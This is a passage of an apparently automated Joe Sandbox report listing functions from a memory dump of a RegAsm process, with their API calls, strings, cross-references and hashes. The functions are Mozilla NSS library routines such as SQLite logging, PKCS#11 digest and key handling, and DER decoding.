Opcode Fuzzy Hash: 67ce61f996669082bd1c21455707d81c23400bc6a6860762eab6b920783f31c8
Instruction Fuzzy Hash: 5A31C5B7B00211ABEF20AB69894DB5B37B8DB1374CF058554EB0887252E37DD444EBE1

Function 6BF72E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF72F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6BF72FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6BF73005
memcpy.VCRUNTIME140(?,?,?), ref: 6BF730EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF73131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6BF73178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BF73022, 6BF73156, 6BF73162, 6BF7318A, 6BF73196, 6BF731A2, 6BF731AE, 6BF731BA, 6BF731C6
%s at line %d of [%.10s], xrefs: 6BF73171
database corruption, xrefs: 6BF7316C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: bb64c2b7efe84782306091ddfb93b8038173f73e7bfd74f8e63a1fa9fe6e9ae6
Instruction ID: 1ef0e0533054e55fcbc5bff6d68362acc5775d0e0146fcfea721c26dc4f6db48
Opcode Fuzzy Hash: bb64c2b7efe84782306091ddfb93b8038173f73e7bfd74f8e63a1fa9fe6e9ae6
Instruction Fuzzy Hash: D2B1B372E04219DBCB28DF9CD884AEEB7B1BF48304F1440BAE445B7751D7799942CBA0

Function 6C006C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C006C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C006C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C006CA3

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C006CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C006CD5

Strings

pMechanism = 0x%p, xrefs: 6C006CD0
C_DigestInit, xrefs: 6C006C61
hSession = 0x%x, xrefs: 6C006C7E, 6C006C8E
(CK_INVALID_HANDLE), xrefs: 6C006C9C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 90ab0e1163ecd304303d0182178b5210d41ea7046324b9db15eab37908215a39
Instruction ID: 67f5c7ca036fe62ae2d9e2826a9b774ba9f8e2eb7b96249e7390b30a5a5b10fa
Opcode Fuzzy Hash: 90ab0e1163ecd304303d0182178b5210d41ea7046324b9db15eab37908215a39
Instruction Fuzzy Hash: D421C335B00104AFEB109B649D89F5E3BF6EB4631CF454025ED0D97A12DF34A989DB92

Function 6BFD0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BFD0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6BFD0F84

Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6BFEF59B,6C0F890C,?), ref: 6BFD0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6BFD0FC1

Part of subcall function 6C030BE0: malloc.MOZGLUE(6C028D2D,?,00000000,?), ref: 6C030BF8
Part of subcall function 6C030BE0: TlsGetValue.KERNEL32(6C028D2D,?,00000000,?), ref: 6C030C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6BFD0FDB
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6BFD0FEF
PL_FreeArenaPool.NSS3(?), ref: 6BFD1001
PL_FinishArenaPool.NSS3(?), ref: 6BFD1009

Strings

security, xrefs: 6BFD0F5C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 734711d40f09b4fa3a89e33d91dca69b5f6650d4b3141117b2f5e8fe97bab36d
Instruction ID: 7659515c3ae351463961962d3e141c3aae152aef69e73db1ac4b48a574e798ac
Opcode Fuzzy Hash: 734711d40f09b4fa3a89e33d91dca69b5f6650d4b3141117b2f5e8fe97bab36d
Instruction Fuzzy Hash: 222122B2904204ABE7009F24DC81FAAB7F4EF8465CF048418FC189B211F731E655CBD2

Function 6BFD6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6BFD7D8F,6BFD7D8F,?,?), ref: 6BFD6DC8

Part of subcall function 6C02FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C02FE08
Part of subcall function 6C02FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C02FE1D
Part of subcall function 6C02FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C02FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6BFD7D8F,?,?), ref: 6BFD6DD5

Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C0310F3
Part of subcall function 6C0310C0: EnterCriticalSection.KERNEL32(?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03110C
Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031141
Part of subcall function 6C0310C0: PR_Unlock.NSS3(?,?,?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C031182
Part of subcall function 6C0310C0: TlsGetValue.KERNEL32(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C0F8FA0,00000000,?,?,?,?,6BFD7D8F,?,?), ref: 6BFD6DF7

Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6BFD6E35

Part of subcall function 6C02FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C02FE29
Part of subcall function 6C02FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C02FE3D
Part of subcall function 6C02FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C02FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6BFD6E4C

Part of subcall function 6C0310C0: PL_ArenaAllocate.NSS3(?,6BFD8802,00000000,00000008,?,6BFCEF74,00000000), ref: 6C03116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C0F8FE0,00000000), ref: 6BFD6E82

Part of subcall function 6BFD6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6BFDB21D,00000000,00000000,6BFDB219,?,6BFD6BFB,00000000,?,00000000,00000000,?,?,?,6BFDB21D), ref: 6BFD6B01
Part of subcall function 6BFD6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6BFD6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6BFD6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6BFD6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C0F8FE0,00000000), ref: 6BFD6F6B
PR_SetError.NSS3(FFFFE005,00000000,6BFD7D8F,?,?), ref: 6BFD6FE1

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 131aa35ff00d57e689168ed57d431b08c1c331a979239e4cb5bb2ea67c1d4996
Instruction ID: dbf62aa901c25294645e7c23fc0c402f8f5ee5cece766795020811340b7c765e
Opcode Fuzzy Hash: 131aa35ff00d57e689168ed57d431b08c1c331a979239e4cb5bb2ea67c1d4996
Instruction Fuzzy Hash: 9A719272D00656AFEB00CF15CD40BAABBE4BF94348F194269F8189B721F775E994CB90

Function 6C014A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6C014A4B
PK11_GetInternalSlot.NSS3 ref: 6C014A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C014AC6
TlsGetValue.KERNEL32 ref: 6C014B17
EnterCriticalSection.KERNEL32(?), ref: 6C014B2B
PR_Unlock.NSS3(?), ref: 6C014B77
PK11_FreeSymKey.NSS3(?), ref: 6C014B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C014B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C014BA9
PR_SetError.NSS3(00000000,00000000), ref: 6C014BC1

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: a221f5f4c83ac2ad6f19d1c1821b28d6081e9cba3527e0a0d0ddc9993174b71e
Instruction ID: d020b5818881ce32dafc340ac448e87a60263ae78546808bc48f1340ac83b608
Opcode Fuzzy Hash: a221f5f4c83ac2ad6f19d1c1821b28d6081e9cba3527e0a0d0ddc9993174b71e
Instruction Fuzzy Hash: 105164B5E04215ABDB00DFE8DC81BAFB7F9AF48318F144129E805A7B11E735ED158BA1

Function 6C01ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE10
EnterCriticalSection.KERNEL32(?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6BFFD079,00000000,00000001), ref: 6C01AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AE7F
TlsGetValue.KERNEL32(?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AEF1
free.MOZGLUE(6BFFCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFFCDBB,?), ref: 6C01AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6BFFCDBB,?,6BFFD079,00000000,00000001), ref: 6C01AF30

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 93900065d73eba4a0d675260e921d10b9e50ae4907c5472923a5662f343cf744
Instruction ID: acee69c5bfdfd6ab963f295d5d6348a63ed6e2cc211edd6245d3aaaf8d2ec525
Opcode Fuzzy Hash: 93900065d73eba4a0d675260e921d10b9e50ae4907c5472923a5662f343cf744
Instruction Fuzzy Hash: A25190B5A04602AFDB01DFA5D885B5AB7F4FF04318F244268D91897E11E735F8A8CBD1

Function 6C074A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6C06AEC0,00000A20,00000000), ref: 6C074A8B

Part of subcall function 6C030D30: calloc.MOZGLUE ref: 6C030D50
Part of subcall function 6C030D30: TlsGetValue.KERNEL32 ref: 6C030D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6C074AAA

Part of subcall function 6C02FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C028D2D,?,00000000,?), ref: 6C02FB85
Part of subcall function 6C02FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C02FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6C074ABD

Part of subcall function 6C030F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6BFD2AF5,?,?,?,?,?,6BFD0A1B,00000000), ref: 6C030F1A
Part of subcall function 6C030F10: malloc.MOZGLUE(00000001), ref: 6C030F30
Part of subcall function 6C030F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C030F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6C074AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6C074AEC

Part of subcall function 6C02FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C028D2D,?,00000000,?), ref: 6C02FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6C074B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6C074B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C074B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C074B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6C074B7E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: b81381e5ffd2570bd59c9290cba89901d9b5d5672d5c0395791f318861c1b69a
Instruction ID: 7c007915fc5f19bd88644fc7f2eca5ca8c3ecf820f63c8815ccb9702dd21ec9d
Opcode Fuzzy Hash: b81381e5ffd2570bd59c9290cba89901d9b5d5672d5c0395791f318861c1b69a
Instruction Fuzzy Hash: E0318AB5500241ABDB248F69D881B977BE8AF18648B044569ED4AC7B02F731F909CFA5

Function 6BFF89C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6BFFAE9B,00000000,?,?), ref: 6BFF89DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6BFD2D6B,?,?,00000000), ref: 6BFF89EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6BFD2D6B), ref: 6BFF8A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6BFD2D6B,?), ref: 6BFF8A11

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 43b04694f0a34d9b190abfc4e52ad164d5107046a0fd8f0223a1c526494a06e7
Instruction ID: 10f096274e542eaa5dc2214314aad50e23f0c12b05210ca55f317860a02346bf
Opcode Fuzzy Hash: 43b04694f0a34d9b190abfc4e52ad164d5107046a0fd8f0223a1c526494a06e7
Instruction Fuzzy Hash: 2F112BF7A40202B6FB005675AC82BAB755CDB0079CF040170ED099A3B2F72AD416D2B2

Function 6BFD2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6BFD2CDA,?,00000000), ref: 6BFD2E1E

Part of subcall function 6C02FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6BFD9003,?), ref: 6C02FD91
Part of subcall function 6C02FD80: PORT_Alloc_Util.NSS3(A4686C03,?), ref: 6C02FDA2
Part of subcall function 6C02FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C03,?,?), ref: 6C02FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6BFD2E33

Part of subcall function 6C02FD80: free.MOZGLUE(00000000,?,?), ref: 6C02FDD1

TlsGetValue.KERNEL32 ref: 6BFD2E4E
EnterCriticalSection.KERNEL32(?), ref: 6BFD2E5E
PL_HashTableLookup.NSS3(?), ref: 6BFD2E71
PL_HashTableRemove.NSS3(?), ref: 6BFD2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6BFD2E96
PR_Unlock.NSS3 ref: 6BFD2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BFD2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BFD2EC5

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: a5021f689ac689a3f58aae222975c46b86b4e31825b9009395ab00aea3be5616
Instruction ID: fc8877a8ce2dcd44875436ff2f7031468a7ad05cff9b7f6e23ac17aef3074ff3
Opcode Fuzzy Hash: a5021f689ac689a3f58aae222975c46b86b4e31825b9009395ab00aea3be5616
Instruction Fuzzy Hash: 7021F577A00101A7EF112B25EC06E9B3A69AB5235DF080134ED1882222FB3BD56DE6E1

Function 6BF5CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6BF5B999), ref: 6BF5CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6BF5B999), ref: 6BF5D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6BF5B999), ref: 6BF5D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6BF5B999), ref: 6C0A972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BF5CFDD, 6BF5D00E, 6BF5D022, 6BF5D033, 6C0A9780
%s at line %d of [%.10s], xrefs: 6BF5CFEC, 6BF5D018, 6BF5D029, 6BF5D03F, 6C0A978B
database corruption, xrefs: 6BF5CFE7, 6BF5D013, 6BF5D028, 6BF5D039, 6BF5D03E, 6C0A9786

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 532b24604ea7c87cf10fdc69839208b8f5123a5247ca6e9257e02db48881435a
Instruction ID: 9fef4411858efc5de6fc36bb63f5a8ad384a68ab53301afd42b2161c113b79e5
Opcode Fuzzy Hash: 532b24604ea7c87cf10fdc69839208b8f5123a5247ca6e9257e02db48881435a
Instruction Fuzzy Hash: 64614872A042108BD310CF69C841BAABBF5EF55318F2881ADE4499B752D77BD943C7E1

Function 6BFDAF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6BFDAFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C0F9500,6BFD3F91), ref: 6BFDAFD2

